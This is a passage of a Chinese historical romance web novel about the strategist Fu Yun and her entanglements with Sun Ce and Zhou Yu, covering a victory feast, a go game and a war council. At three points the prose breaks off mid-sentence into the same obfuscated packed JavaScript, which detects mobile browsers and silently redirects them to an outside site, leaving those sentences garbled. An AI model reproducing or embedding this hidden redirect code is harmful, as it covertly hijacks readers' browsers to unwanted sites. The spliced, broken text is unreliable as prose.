“关键是百姓全都涌来了,老的、少的、抱娃的、扶病的,全挤到城下。那画面,啧,感天动地。我看陆康心都软了,想不开门都难!” “将士还在死撑,大喊‘府君不可开门’。结果你猜怎么着?”孙策笑得差点岔气,“我听见人群里,有人起哄大喊:‘请府君!开城门!’” 伏韫一愣,脱口而出:“……周公子?” 孙策眼神一亮:“就是瑜弟!他混在人堆里喊得比谁都起劲,我差点没忍住笑场。” 他说着还拍了拍胸口,好似把笑硬生生憋回去。 伏韫低头一笑,不置可否。晨光似乎因此更亮了些。 她本就知道,此计必成。 “嗯。”她轻声应道,唇边弧度恰到好处,“兄长才是今日最大的主角。” 孙策仍在邀功:“那可不!你是没看到陆康那表情,完全没想到我们兵行险招,最后只能不情不愿地开了门。” 伏韫却不再接话,只淡淡岔开:“周公子呢?怎么不见他?” 孙策大咧咧一摆手,漫不经心:“嗨,他还得混在城里装百姓呢。如今风声紧,一时半会儿回不来。” 他说得轻描淡写,落在伏韫心里,却忽然掏空了一角。 那失落来得突兀,她自己也怔了一瞬。她不愿承认这是期待,更不愿承认自己在等他。 一定只是因为,那一夜黑暗里的呼吸与贴近,心跳失序的刹那,擦唇而过的呢喃。 只是意外,只是一时错觉。 可越是驱散,心弦越颤动。 伏韫垂下眼睫,将那份不合时宜的落寞死死压回心底。 她轻轻吐出一口气,拇指扣住指节,仿佛反复确认着某种分寸。 就当是那一夜,从未发生过罢了。 *** 帐外天光已盛,薄雾渐散,营地渐次喧嚷。 伏韫立在帐门前,望见远处军旗猎猎,心头明白战事已定,接下来要面对的,除了内心的起伏,还有这片兵荒马乱中的流言蜚语。 不多时,传令兵急匆匆来报,称孙策请她即刻前往中军大帐。 她眉心微蹙,尚未来得及细问缘由,便已见孙策亲自迎面而来。 “走吧走吧,别装淡定了。”他催促着,神神秘秘一笑,“今天这事儿不解决清楚,你想低调也不成。” 伏韫不明就里,只能随他步入大帐。 只见营内将佐毕集,三位老将如松魁梧,伫立在最前,神色肃然;其后列阵其中的皆是营中有名有姓的劲卒。另一边甚至有几位女眷,不仅有孙策之母吴夫人,周瑜之母朱夫人,连一些垂髫幼童都被叫来了。 孙策迈步上前,收起往日惯常的嬉皮笑脸,正襟危坐,神色间多了几分威仪。 “诸位,今日将诸位召开,是有一件大事要当众昭告。” 他蓦然一收,环视全场,目光落在那几个曾经起哄大喊“左拥右抱”的几个士卒脸上,语气郑重: “先前因局势紧迫,又因不愿扰乱军心,故而并未告知军中昭晦妹妹的身份,不想惹来更多流言蜚语。” 他目光一顿,余光瞥见几个被点名的士卒已羞得低头,复而启声: “今日水寨既下,家属安定,又有粮草充盈,算是了却一桩心事。如此奇功,并非我一人之谋,全仰赖昭晦妹妹奇策在先。我与瑜弟,不过依计而行,不敢冒领功劳。” 说罢,他抬手指向伏韫,声如洪钟,掷地有声: “她是我亲自请来的军师,亦是我义妹,通晓天数,明识理法,军中今后,当以军师之礼以待,不可因其是女子而轻慢,更不能狂言悖义,令其受辱!” 话音方落,韩当便率先上前一步,拱手朗声道: “老夫眼拙,有眼不识泰山,还望姑娘恕罪。” 他话至一半,忍不住又憨声补了一句:“非老夫介疑女流,实是少主那日一吼,连老夫也听到了……” 孙策在旁“咳”了一声,目光一横。 韩当哈哈一笑,收起玩笑之意,神情一正:“往后若姑娘有需,韩某愿听调遣。” 伏韫颔首回礼,心中微微一动。 旋即,黄盖也上前一步,面容肃然,郑重行礼。 “先前多有失敬,请军师海涵。” 寥寥数语,却笃定如铁,言简意重。 伏韫方要答谢,余光却见程普亦缓步而来。 他礼数周全,态度恭谨,口中称赞“姑娘妙算,佩服之至”。 可就在他低首拱手之际,伏韫敏锐察觉到那眸光一瞬的异样。 那不是敬畏,而是强压的锐利,如日入云层,暗涌翻滚。 伏韫心头猛然一紧,却只能得体回礼。 孙策朗声大笑,豪气冲天:“哈哈!有昭晦妹妹在,我孙策何愁大业不成!” 人群中随即爆发出一阵呼喝,赞叹与附和声此起彼伏。 伏韫唇边挂着一抹若有若无的笑意,将那份不安深深压入心底。 *** 夜幕低垂,水寨火光四起,映得江面如昼。 战事既捷,孙策一声令下,三军狂欢。 大军如脱笼猛虎,一夕无战压身,顷刻间热闹沸腾。有人挽裤入水,打鱼捉虾,笑骂声与水花齐飞。有人进山猎得野兔雉鸡,炊烟与兽骨一路高举。 鼓点、哨声、吆喝、调笑声,层层叠叠,如翻沸的汤锅,滚遍营地。 “今晚不醉不归!”孙策扯开嗓子吼,将士们欢呼雷动。 伏韫却独坐临水的长案旁。 面前两壶清酒,一尾烤鱼未动。火光照着她的侧影,将眉眼映得越发清冷,如这喧嚣之外独守的一湾静水。 她的目光,始终落在孙策身上。 他立于主帐前的临时高台,被万众簇拥,发丝凌乱,手持酒壶,笑得飞扬跋扈。举手投足间,尽是少年得志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070164|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疏狂与锋芒。 伏韫原以为热闹不过如此,却不料,那位姑娘,又来了。 就是前些日子闹得营中人尽皆知的姑娘。 她换了一袭浅绿色襦裙,鬓边插着野花,手中捧着一只精致香囊,红绳流苏,玲珑可爱。 “喏。”姑娘将香囊递到孙策手里,脸泛红,却咬定语气:“是我亲手做的。” 众人哄然: “这回该收下了吧!” “少主,收不收啊?收不收啊?” “啧啧,那针脚,一看就是绣了半月。” “姑娘还能再做香囊吗?咱要不要先报个名!” 孙策大笑着挠头:“咳,这个,这个……” 他手刚碰到香囊,欢笑声便更大,几乎要把夜空都震碎。 他正要打趣,却在余光中瞥见伏韫。 她正举杯而饮,神情平静得近乎无波,仿佛方才一切起哄、香囊、笑语,都未曾入耳。 可那目光,却直直落在他身上。淡淡一瞥,轻描淡写,却似透骨之寒。 孙策微微一怔,随即收回视线,笑容一挑,接过香囊:“姑娘好意,我心领了。” 姑娘脸颊飞红,慌忙福身退下。 人群哄笑再起: “少主今晚要留人咯!” “这是什么?欲迎还拒吗?” 笑语如潮,一浪高过一浪。 伏韫低眉不语,只自斟自饮,一杯续一杯。 她并不觉醉,也并不觉悲,甚至连心空与钝痛这些多余的情绪也没有,只觉得这一场盛大的狂欢如一副色彩浓烈的画,红过火,白过灯,而她只是角落里晕开的一滴墨,不合时宜。 直到酒盅见底,她才方觉头晕昏沉。手撑案几起身,目光一晃,目眩不已,酒意上涌,便索性收盏而归。 她静静绕过喧闹的人群,离开这片欢声笑语的海洋。 身后火光映亮了半边天,鼓声正盛,如挽留她离去。 另半边天,一轮明月高悬,清冷独照,光辉洒在帐顶上、旌旗上,也落在她身上。 她抬头望去,忽然真切地觉得,周瑜就像这轮明月。他总在该出现的时候出现,从不缺席,却也从未靠近。月光皎洁环照,只是柔辉泻地,便令人不加设防,将疲惫与心碎尽数和盘托出。他亦如是,试探、拆解、看透,却从不改变她,不炽热,不喧嚣,只是一束目光,便足以令她心神失宁。 她忽然好想将今夜的烦乱酸涩,乃至那丝不肯承认的委屈,全都告诉他。哪怕只是听他淡淡一句“辛苦了”,哪怕只是与他并肩,在这夜色中静静立一会儿。 可她清楚,他还在城中,不会来。 她缓缓伸手,覆在心口,仿佛要将那些无处倾诉的情绪死死压回去。 然而,那枚香囊的画面却挥之不散。姑娘怯怯上前,孙策接过一笑,众人起哄,而她只能对月空饮。 冷月下,她竟说不清此刻的滋味。是醋意?是苦意?还是其他她不说、可他应当会懂的情绪? 眼底微热,她猛吸一口气,想趁着情绪失控之前,赶紧回到营帐。 她绝不能被人瞧出她的脆弱,更何况,是庆功之日这毫无来由的悲意。 转身瞬间,猝不及防,她撞上一道高大的身影。 伏韫心头一惊,方欲后退,肩头却被一只手稳稳按住。还未来得及辨清,背脊已被轻轻一推,整个人被迫贴上帐外的木柱。 孙策立在她面前,近得几乎能听见胸腔起伏的心跳声。 他抬手撑在她耳畔,低沉的嗓音贴着风声,语调轻慢。 “你今晚,好像一直在看我。” 伏韫怔住,随即偏开脸,避开他直勾勾的注视。 “……只是看你做什么蠢事罢了。” “蠢事?” 他挑眉,身形又逼近半分,几乎将她整个人困在臂弯与木柱之间。 伏韫想退,却无路可退,只得仰眼迎战,直视他的视线。 “兄长这是何意?哪家主帅是这么对待军师的,岂不失礼?” 孙策低低一笑,像听了笑话: “哪家军师酒喝到一半便一声不吭逃走,我来寻你,倒成了我失礼?” 他忽地俯身,眼神直锁住她,“若我真的失礼,你以为,刚才那香囊,我会收得那么慢吗?” 伏韫心头一震,喉头微紧,想开口,却不知该说什么。 孙策却忽而收了锋芒,低笑一声,指尖挑起她额前一缕散发,轻轻别到她耳后。 “我没别的意思,只是想告诉你——” 他懒懒直起身,语气却认真: “你盯着我的时候,我也一直在看你。” 14. 第十四章 晨光斜照,于江面蒸腾。 水寨初定,营中人声鼎沸。伏韫立于高坡之上,俯视兵卒来往,修缮补筑,俨然一副喜气洋洋模样。 但她却与这笑语交织如隔重幕,只因她昨夜,并未安眠。 昨夜孙策骤然逼近、囚她于壁柱之下时,她心底的余震,至今尚未平息。 她不愿细想,自己心中的波澜究竟因何而起,只能逼着自己去想今后的事:重编水寨,清点物资,登记民户台账……忙起来了,心也就定下来了。 她正要转身下坡,听到背后传来士兵的议论: “你听说了吗?周公子回来了。” 伏韫脚步微顿。 晨风拂过,她静立在光与人声之间,呼吸似乎也停了一瞬。 “什么时候的事?” “方才吧。好像是清晨换防的兵在外头看见的,说他与几名士卒一道走小路回来,还穿着百姓衣裳。” 又有人压低声笑:“听说昨夜他在城里演得极像,连陆太守都没认出。” 伏韫垂下眼,收了视线,径自前行。 她没有追问,也没有回头。可在那一瞬,心跳却不由自主地慢了半拍。 回到营帐不久,帘子被掀开。传令兵俯身行礼:“伏姑娘,少主请您往中帐用早膳。” 伏韫眉心一拧:“只唤我一人?” “周公子也在。” 她捏着调拨单的手指微微一紧。片刻,才缓缓放下笔。 “知道了。” 披上外袍,随传令兵往中帐而去。 沿途喧哗不绝,兵士们搬运竹筐柴火,修补帐篷,三三两两议论昨夜之事,笑语阵阵。 伏韫听得恍惚,仿佛被一层无形水幕隔绝,外界热烈声潮尽数隔在远处。 她的心绪反倒沉静下来。 隔着帐帘,伏韫已听见孙策的大嗓门,兴奋几乎压不住: “我说嘛,你太会装了!我昨儿躲在人堆后头都差点笑出来,结果你比我还起劲。” 另一道声音随即响起,低缓温润,话中带笑: “我当时掐着大腿,心道若真笑出声来,怕是功亏一篑了。” 伏韫掀帘入内。 阳光自帐后斜斜照来,在二人之间投下一道淡淡剪影。 孙策端坐上首,手里正把玩着那只香囊盒子,兴致勃勃地比划着。 周瑜已经换下戎装,着一袭青袍,神色淡然,但仍有几分昨日的雀跃余波。 帐中气氛欢快,孙策眉飞色舞地说昨日乃是“天时地利人和”,将庐江全城耍得团团转,这种恶作剧倒令他比打了胜仗还畅快。周瑜低头用膳,偶尔插话,却并不多言。 伏韫落座,与二人颔首致意,目光却在经过周瑜时快速地游移开了,连位置都心虚地选了一个与孙策更近的地方。 孙策见状,更加喜不自胜,将香囊盒子放在案上,语气愈发轻快: “从今天开始,你们都可以叫我伯符了。” 伏韫下意识抬眸,周瑜已开口发问,眉心微不可察地蹙起: “兄长已有表字,那何时行冠礼?我记得兄长生辰尚有半年。” 孙策嘿嘿一笑:“昨夜听我娘说,你的表字是最近拟的,我便求她告诉我表字,知道后便赶紧告诉你们来了。” 话音未落,他忽然偏头望向伏韫,唇角微弯,语气却隐透一丝强势: “昭晦,私下里,你可唤我伯符了。” 伏韫执箸之手一顿,目光不自觉飘向周瑜,却见他瞳孔骤然一缩,仿佛被锋锐之物骤然刺中,但下一息便一闪即逝,神色依旧淡然: “还是等到加冠之日再称也不迟。即便只是私下唤表字,若是被人听取,恐坏了礼数。” 孙策撇嘴哼了一声,又将目光转向伏韫,眼底甚至透着几分占有: “这小孔夫子好生无趣,昭晦,你便唤我伯符吧?” 两道视线,瞬间齐齐落在她身上,一道如火,一道如冰。 她本欲回绝,却不忍拂了孙策一腔炽热意气,话一转,缓缓颔首: “是……伯符。” 孙策笑得愈加张扬,周瑜却未发一言,只饮尽碗中最后一口汤: “无论如何,我唤你兄长总是无碍。” 孙策几乎要翻白眼,但下一秒,又揽过周瑜的肩: “是是是,我们小孔夫子最重礼仪。所谓‘礼不可越,字不可僭’嘛。但是为兄是个粗人,没有那些弯弯绕绕的,今后私下我便唤你公瑾!这字漂亮,跟我义弟一般漂亮,当然得早早唤起来了,你说是不是?” 周瑜被他的逼视弄得哭笑不得,只能拱手称是: “好,便依兄长的,今后我便是‘公瑾’了。” 孙策满意地看了一眼自己座下的二位谋士,颇有一展主公雄风而首战告捷的意味,欣然颔首: “既如此,我便先走一步。水寨有些新收编的士兵,母亲在水寨住下后我也还未问安,得去回一声。” 他脚步爽朗,留下周瑜与伏韫二人。她目送孙策离去,回眸时,猝不及防对上周瑜的直视。 “近日诸事已毕,昭晦,你我许久未曾对弈,不如移步手谈一局?” 伏韫一时不知如何回应。心中被压抑许久的情绪蓦然翻江倒海而上,让她有些无法招架。她以为自己是想去的,但面对周瑜的主动邀约,却莫名生出几分近乡情怯般的避意。 片刻,她才缓缓展颜: “周郎今日雅兴,自当奉陪。” 二人并行而出,往东侧临江的一座竹屋而去。那屋原是旧日的读书所,久无人用,周瑜一来,便整修了一番。如今既可作为棋室,又可作为书房。只是军中大老粗们一仗归来已是满身疲惫,久而久之,常往此处去的,倒只有周瑜与伏韫二人。 窗明几净,白墙素雅。棋盘置于案上,黑白子各入瓷盂之中。 她入座时,周瑜为她斟茶: “昨日庆功宴,想来你饮了不少,恐怕今晨有些头重吧?” 伏韫“嗯”了一声,看向周瑜低垂的眉眼,心头被他这关切的语气,熨帖出几分微澜。 二人猜先定了黑白。周瑜伸手,捻起一枚黑子,于右上角落下,伏韫执白应于左下。开篇循礼,一一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076706|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角。 棋局行至六手,心中别样的情绪又卷土重来。她极力克制,每一步都慎之又慎。但她并不完全沉浸于对弈,更像是一颗心分成了两半,在业火与挣扎中浮沉,越是强自压下,越觉心神不宁。 行至二十手,本该是试探布势的阶段,白子却连连出击。周瑜看着她的手扣着棋盂,几乎是蓄势待发,只等他落下,便要从盂中取子,不假思索。 他看得出来,她在与他并不知道的事困斗。而这件事,一定与孙策忽然转变称呼有关。 终于,她第四次抢攻边角,周瑜早已看出她的杀意,缓缓落子,稳稳将她封堵。 “昭晦,你今日心神不宁。” 伏韫也未看他,只是手中棋子一顿。 他顿了顿,终于抬眸看她,目光温润,语气却有几分淡淡的讥然: “这一局你的杀气很重,不像是你的棋风,倒像是……在学兄长的霸道。” 伏韫心下一跳,不知他为何如此洞若观火,迎着这解剖的目光,整个人几乎透不过气。 周瑜却不放过。他继续端详咀嚼她的神情,似笑非笑: “怎么,你们昨日见面,不止是‘心谈’……” 他手指一点棋盘中孤立无援的白子,意在提醒,言下却似拍刃在她心口: ——“也‘手谈’了吗?” 棋子从伏韫指间滑落,“啪”的一声,偏斜在棋盘上。 周瑜的神色依旧平静,唇角亦挂着温润的笑意,眼底却已有暗潮汹涌,甚至夹了一抹难以压抑的……嫉意。 伏韫心底瞬间浮出一股慌乱。 她当然听出了他双关下的弦外之音,偏偏他的言中令她心虚,连呼吸都乱了半拍。 周瑜并未逼她,伸指拾起那枚落偏的白子,替她复归正位。 “别太急。” 他轻声劝慰,仿佛只在指棋。可伏韫明白,他指的是她。 此后几手,他顺势将她的漏洞慢慢收紧,落子不疾不徐,早已看透她所有肤浅的布局。 眼见大势已去,伏韫最终还是放下手中白子。 “……我认负。” 声音极低,但并无怒意,仿佛解脱,藏了许久的倦意,在此刻终于找到出口。 棋室静默良久。 周瑜并未如往常一般,对她颔首一句“承教”,也未行礼谢手,只是缓缓起身,抖了抖衣袖,动作干净利落。 他手已掀起帘角。风从缝隙灌入,吹得他衣摆微微鼓动。 伏韫看着他颀长的背影,心中莫名泛起一阵失落,正以为他会如此离去时,他却忽然停下。 “你的心一乱,便赢不了我。” 伏韫怔然望去。渐上的日光自帘隙间倾泻,他立于光影之间,神色温润,眼底却如一捧冰雪燃于篝火,晦暗不明。 “所以……不要让他再乱你的心了,好吗?” 言罢,不待她申辩一二,便利落掀帘而出。 伏韫静坐案前,凝望残局,直至坐到面前茶汤渐凉,才终于苦笑一声,像是自嘲。 是啊,这一局,她从一开始便输了。 15. 第十五章 水寨清晨凉意随水雾氤氲而起。伏韫拉开营帐帷幕,林间山雾未散,远处士兵列阵操演,三军尽在庆功的余韵之中。 水寨地势较皖城更近,周瑜便建言将战略目标由舒城转向皖城。他认为皖城士族林立,便于攻心,且舒城乃是庐江郡治,攻破并非一朝一夕之功。孙策从善如流,便下令将营地迁至距离水寨较近处。 她信步水寨附近,便看见孙策立在码头,正与亲兵谈笑。他见是伏韫来了,回望她一眼,目光犹然带着几分张扬的炽热。 伏韫只是垂眸,并不回应,转身便入了大帐偏厅。 炭炉暖香阵阵,早膳已上。孙策与周瑜随后步入。三人围坐,汤碗轻响,案上蒸汽升腾。 伏韫自入席便沉默,未与周瑜有一丝眼神接触,但在几次不经意的抬眸间,她能感到那道目光似乎在她抬眼之前已停驻良久,至瞥开时仍带着一瞬克制的探究,如幽暗潮涌,几欲漫出,却又在刹那被他收束与理智的堤岸。 孙策坐在主位,啃着饼子兴致盎然,全然不觉这桌上伏流汹涌。嚼着嚼着,忽然一拍桌案笑道: “对了,说起来昨天我不是让人送了点米粮去东岸吗,那个姑娘你们还记得吧?就是之前冲到军营里、然后被公瑾安排去了水寨的那个。听说她母亲病势好转,她感激得不行,说要炊些饼子来报答我们。喏,今天桌上这个就是。昭晦,你也尝尝?手艺确实还挺不错的。” 伏韫接过饼,却并不接话,仍是垂眸喝粥。 周瑜语气温淡:“这姑娘有心了。饼的味道还不错,若是兄长也喜欢,可让她再做些,想来她也是很欢喜的。” 孙策并未留意,依旧喋喋,兴致正浓: “还有这几日新入营的小兵里有几个还挺机灵,一个会打鼓,一个会吹笛,改日水寨都能排堂会了!” 笑语未落,他终于觉察出气氛不对。平日他若是提及此类趣闻,伏韫肯定要插科打诨,说自己可以唱山歌,周瑜亦要接话,说自己“吹拉弹唱样样皆可,若是兄长愿意,现在就能办”,可两个人皆眼观鼻鼻观心。 他狐疑地扫了二人一眼,又低头看了一眼已被伏韫吃得一干二净的蜜饯碟,才终于用手肘轻捅周瑜: “喂,你们俩怎么回事?昨天下完棋回来就怪怪的,该不会是还赌钱了吧?军中赌博可是违了军法的……” 话音未落,伏韫手中汤匙“叮”的一声与碗沿相碰,脆得惊人。她抬起头,在今日第一次看向周瑜。 周瑜也看着她,沉静的目光中乍然带出一丝冰凉与审视,被压在水底的情绪在沉默中愈发凛冽。 她知道他在因为自己突然的疏离而迷茫,但她也明白,她并不想向他解释。 是,他回来了。但那又如何?难道还要如昨日棋局一般,被他用三言两语看穿,再被他用那番看似温和实则控制的语气权威一番吗?她昨夜躺在床上,辗转反侧,那点因他归来而泛起的涟漪,被一种更为尖锐的恼怒压了下去,几乎想直接冲到他营帐前质问他:我的心乱不乱,轮得到你指手画脚?连你自己尚且带着莫名的醋意与我下棋,却反而要求我不要心乱?你到底是我什么人? 她心蓦地一颤。是啊,他到底是她的什么人? 这一眼仅仅一瞬,便匆匆错开。 伏韫放下碗筷:“时辰不早了,营中诸将应已到了主帐,我等也该移步。兄长,公子,告辞。” 她起身,袖袍翻飞,步履匆匆,像从三人间的情绪密林中劈开一道出口。 孙策怔了怔,看着她背影远去,才反应过来: “哎——昭晦,你方才怎么又改口叫我兄长?” 周瑜垂下眸子,轻轻一笑,却不言语。 孙策又转向周瑜,兴师问罪道:“喂,我说你们俩在一起怎么总没什么好事,该不会你这次又说了什么不该说的,惹她生气了吧?” 周瑜用几乎只有自己能察觉的幅度,极轻地嗤笑一声,仿佛自嘲:“兄长明鉴,我岂敢对军师不敬。” 孙策见他笑得无辜,只能作罢,心中却不解。 但他别过目光的一瞬,周瑜敛了笑意。光影映着他的侧颜,竟比清晨寒意更冷上三分。 *** 营中将佐陆续入座。孙策、周瑜居首,三位老将依次而列,帐中气氛肃而不拘。 孙策一边掸着战袍上的灰,一边半真半戏地打趣: “军师今日面色不佳,莫不是昨夜没睡好?” 伏韫不动声色,几乎完全无视了孙策的打趣,径自展开手中舆图,垂眸淡声道: “夺下水寨不过初胜,如何攻下舒皖,才是真正胜负之钥。” 众将神色一正。 她开门见山,语气坚定:“我有一计,不伤一兵一卒,便能探知陆康粮草虚实。” 帐中一静。 孙策来了兴趣,放下酒盏,侧身道:“哦?昭晦不妨直言,如何行事?” 伏韫将图卷微展,语气笃定而冷静: “我军即刻分兵,做出猛攻皖城之势,同时散布消息,称我军欲先下皖城,再图舒城。陆康深知唇亡齿寒,见我军攻势猛烈,必会尽快从舒城调拨兵力或粮草前往支援。” 她目光微敛:“一旦他分兵运粮出城,主力必被皖城战事牵制。我们只需设伏于必经之路,拿下那支支援队伍,便可探知其兵力虚实。” 孙策一拍大腿,放声大笑: “好个‘围点打援’,昭晦此策,甚合我意!” 帐中将佐皆露赞许神色,唯有周瑜静静低头,眉宇似有思虑。 众将目光皆落这隅静默之地。片刻后,周瑜抬眸看向伏韫: “此计看似周密,但那位‘仙师’,会按常理出牌吗?若是舒城并不向皖城驰援,又或是敌军看透我们意图,声东击西,军师又当如何?” 孙策疑惑插言:“你是说陆康身边,另有足可与昭晦匹敌的谋士?” 周瑜目光未移,唇角微挑:“若是没有,未免也太无趣了。” 帐内沉默顷刻。 伏韫目光冷淡地扫过他,甚至吝于与他对视,神情收敛: “‘围点打援’不过试探虚实,此计不成,还有后手。但舒城究竟会按兵不动,还是奇谋应对,只靠强攻或缩守,又要待到何时?用兵如弈棋,我不动,敌如何动?” 她虽不过公事公议,却句句带刺,意有所指。周瑜沉默不语,但二人目光交汇的一瞬,伏韫还是在那如深潭的眼神中,读出了一缕几乎无迹的困惑与怅然。 她轻轻吸了一口气,压下心绪:“此计宜速不宜缓,还请少主裁夺。” 孙策已然听得跃跃欲试,当即拍案:“好!此计当行。” 众将亦齐声应诺,计策全票通过。 周瑜并无反驳之意,见状自然顺水推舟,缓缓颔首:“既如此,我来安排人手。” 伏韫眼角微挑,目光轻落于他身上,一瞬即逝。 他最懂她,所以……也总能伤她最深。 *** 议事甫毕,众将鱼贯而出。周瑜转身离去,一言未发。伏韫也未多看他一眼,执卷低首,刻意错开行止。 帐内只余孙策,见二人分道,眸光深处不由得浮起几分思索。但大计方定,比起这等小事,如何策定此后行事,方为要紧。 他正埋头于竹简疾笔,忽有熟悉声音自侧帐外传来:“少主,姑娘来了。说是亲手熬的汤药,听说您前夜咳得厉害……” 孙策抬眸,眉心微皱:“哪位姑娘?” 传令兵小心翼翼:“就是您前几日夸过的‘挺懂事’那位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091132|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙策闻言,并不放在心上,继续在竹简上理着方才未尽的头绪: “我今日无心会客,随便找个理由打发走就是。” 那兵卒迟疑了一下,仍硬着头皮道:“姑娘说,药是她熬了一夜……” “我说了没空。”孙策声音倏然一沉,目光冷冽扫来。 传令兵一愣,显然没料到这位向来随和的少主会突然发火。还未回神,又听他冷声再喝: “听不懂命令吗?” 传令兵脸色煞白,噤若寒蝉,急忙低头:“喏!” 孙策挥了挥手,像驱走一只聒噪的苍蝇,继续提笔疾书。方写了两行,又忽然顿住,低声骂了一句: “……咳个什么咳,倒叫人惦记上了。” 他闭上眼,仿佛想将脑内无用的杂绪清理出去,但眼前却不是那香囊姑娘端药的模样,而是伏韫方才立于舆图前,眸光清冽,步步拆解庐江虚实时的神情。 *** 夜已深,中军大帐却灯火通明。案几前舆图摊开,三人分坐三侧,眉峰紧锁。 “苍狼道,三千石,三日后入皖城西门。”孙策掷下密信,冷笑一声,“投石问路,这不就来了?” 周瑜低头沉思,目光未离那几行斥候密报。 伏韫缓缓起身,走至舆图前,凝视城西地势。皖城山水并存,苍狼道蜿蜒其中,地形弯险、两侧林深,正是设伏的绝佳地形。 孙策已按捺不住,摩拳擦掌:“等他粮一进山道,我伏兵倾巢而出,不剥他三层皮,都对不起麾下精兵。” 周瑜尚未开口,伏韫却已回身,神色陡然凝重:“不可。” 孙策一愣:“莫非有诈?” 伏韫手指不自觉捏着下颔,缓缓踱步帐中,又浸入推演之中: “这是陆康背后那位军师给我的战书。第一层,他放出诱饵,引我等在苍狼道设伏,若我贸然应之,反被他设伏所困;第二层,他料我能识破苍狼道的险中藏钩,以为我会调兵至真正的运输路线防堵;第三层,才是他真正的杀意所在。” 她顿住,取过一枚令旗: “他想借这一封‘半真半假’的斥候密报,引我调兵布阵,全局倾力西线。但其实,此处才是他最想守、却以为我最不敢动的地方。” 令旗重重插在舆图另一端东门之处。 孙策半信半疑地盯着那点红色小旗,仍在沉思,周瑜却忽然开口: “若这一切,恰是陆康所愿呢?他是否也算准你会识破局中局,反向而行?若东门空虚是假,我们倾军而去,又当如何?” 帐中气氛一滞。 伏韫一眯双眸,眼神微冷:“周公子,你是在质疑我,还是质疑斥候密报?” 周瑜迎锋不避:“二者皆有。军师果断,但凡事需留后手,况且苍狼道的消息得来太顺,我担心其中有诈。” 伏韫轻笑一声,竟带些讥讽: “审慎与寡断不过一念之间。与其在此推演‘万一’,不如多思量如何将那‘九千’之功落实。况且斥候舍命换来的情报,若因主帅无端猜忌便弃之不用,岂不寒了将士的心?” 孙策无辜地举手挡了挡火药味,干笑两声: “哎哎哎,有话好好说嘛,怎么感觉你俩拐弯抹角,杀敌之前倒先内讧起来了?” 周瑜不语,只是静静看着伏韫的眼,沉默片刻,语气缓和些许:“我并无他意,只是一问。” 孙策站在一旁,本是踌躇满志准备发令,此刻却也不由眉头微蹙,目光在两人之间游移片刻,浮起一丝郑重。 他的手指微微一紧,紧接着又缓缓松开,良久,终于沉声开口: “全军佯动城西,设伏苍狼道,放出风声,说我军全力截粮。我亲率五营精锐,绕道夜行,三日内,攻其东门。”